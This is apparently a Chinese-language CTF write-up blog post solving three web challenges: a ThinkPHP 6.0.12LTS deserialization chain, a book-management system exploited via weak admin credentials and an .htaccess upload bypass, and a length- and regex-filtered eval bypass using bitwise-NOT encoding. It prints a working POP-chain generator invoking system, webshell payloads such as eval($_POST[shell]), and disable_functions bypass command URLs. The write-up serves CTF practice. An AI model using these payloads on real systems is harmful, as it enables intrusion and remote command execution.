• web练习


    [CISCN 2022 初赛]ezpop

    ThinkPHP V6.0.12LTS 反序列化漏洞
    漏洞分析

    ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

    解题过程

    ThinkPHP V6.0.12LTS反序列化的链子可以找到,找到反序列化的入口就行

    反序列化的入口在index.php/index/test

    链子

    1. <?php
    2. // 保证命名空间的一致
    3. namespace think {
    4. // Model需要是抽象类
    5. abstract class Model {
    6. // 需要用到的关键字
    7. private $lazySave = false;
    8. private $data = [];
    9. private $exists = false;
    10. protected $table;
    11. private $withAttr = [];
    12. protected $json = [];
    13. protected $jsonAssoc = false;
    14. // 初始化
    15. public function __construct($obj='') {
    16. $this->lazySave = true;
    17. $this->data = ['whoami'=>['命令']];
    18. $this->exists = true;
    19. $this->table = $obj; // 触发__toString
    20. $this->withAttr = ['whoami'=>['system']];
    21. $this->json = ['whoami'];
    22. $this->jsonAssoc = true;
    23. }
    24. }
    25. }
    26. namespace think\model {
    27. use think\Model;
    28. class Pivot extends Model {
    29. }
    30. // 实例化
    31. $p = new Pivot(new Pivot());
    32. echo urlencode(serialize($p));
    33. }

    [CISCN 2023 西南]do_you_like_read 

    主要涉及的就是代码审计

    先尝试登录

    用户名admin,爆破出密码为admin123(用户名和密码都是弱口令,所以优先尝试admin,当然也可以去翻数据库)

    密码进行md5解密一下,admin123,登录之后能发现是一个图书管理系统

    找了以后发现有文件上传的漏洞,结合源码试着getshell

    1. if (isset($_FILES['image']) && $_FILES['image']['name'] != "") {
    2. $image = $_FILES['image']['name'];
    3. // 检查文件名的扩展名是否已经是".php"
    4. $ext = pathinfo($image, PATHINFO_EXTENSION);
    5. if (strtolower($ext) == 'php'|| strtolower($ext) == 'phtml' || strtolower($ext) == 'php5' || strtolower($ext) == 'php2') {
    6. // 将文件名的扩展名替换为".jpg"
    7. $image = pathinfo($image, PATHINFO_FILENAME) . '.jpg';
    8. }
    9. elseif (strtolower($ext) != 'jpg') {
    10. // 忽略其他后缀名并不做修改
    11. $image = $_FILES['image']['name'];
    12. }
    13. $directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);
    14. $uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";
    15. $uploadDirectory .= $image;
    16. move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);
    17. }

    对上传文件的后缀做了限制,并且把php的拓展名修改为jpg,所以上传个jpg文件和.htaccess

    蚁剑连接后,权限不够不能catflag,再找找代码中有bypass,存在后门,可以直接利用进行命令执行

     echo "<p> <b>exampleb>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so p>";

    修改一下路径

    http://node4.anna.nssctf.cn:28314/bootstrap/test/bypass_disablefunc.php?cmd=ls%20/&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so

    目录下没有发现flag,试试环境变量

    /bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/var/www/html/bootstrap/test/bypass_disablefunc_x64.so

     

    [极客大挑战 2019]RCE ME 

    上来就是一串简单的代码(看完国赛的代码,已经是被折磨惨了)

    1. error_reporting(0);
    2. if(isset($_GET['code'])){
    3. $code=$_GET['code'];
    4. if(strlen($code)>40){
    5. die("This is too Long.");
    6. }
    7. if(preg_match("/[A-Za-z0-9]+/",$code)){
    8. die("NO.");
    9. }
    10. @eval($code);
    11. }
    12. else{
    13. highlight_file(__FILE__);
    14. }
    15. // ?>

     get传参,限制字符串长度小于40,正则过滤字母数字,取反绕过

    尝试取反后进行命令执行

    ?code=(~%8C%86%8C%8B%9A%92)(~%93%8C);

    没有回显,看看disable_functions过滤了什么

     命令和函数都过滤了很多,传一句话木马,getshell

    正常我们写一句话木马是用eval来执行后面的post,但是这里我们要用变量来调用函数,eval不是php函数无法被调用,所以用assert来运行php代码,这个点在涉及到php环境中调用函数来构造payload的时候要注意

    1. $a='assert';
    2. $b=urlencode(~$a);
    3. echo $b;
    4. echo "\n";
    5. $c='(eval($_POST[shell]))';
    6. $d=urlencode(~$c);
    7. echo $d;
    8. ?>

    蚁剑连接

    flag里面什么也没有,readflag里面是乱码,应该是因为disable_functions所以我们不能正常读取flag

    使用蚁剑插件绕过disable_functions,使用readflag来获取flag

    这题可能还是这个使用插件绕过disable_functions这里之前没见过

  • 相关阅读:
    常见插件 tomcat插件
    【图论】Linova and Kingdom—CF1336A
    常见的行为型设计模式
    Qt接收串口字节数据并存储
    Linux:环境变量、地址空间
    Janus介绍
    企业工程项目管理系统源码(三控:进度组织、质量安全、预算资金成本、二平台:招采、设计管理)
    设置一个带头结点的循环单链表,其结点均为正整数。设计一个算法反复找出单链表中结点值最小的结点并输出,然后将该结点删除,直到单链表为空为止
    HTML && CSS
    【经验分享】Ubuntu如何设置swap交换
  • 原文地址:https://blog.csdn.net/weixin_74020633/article/details/139275947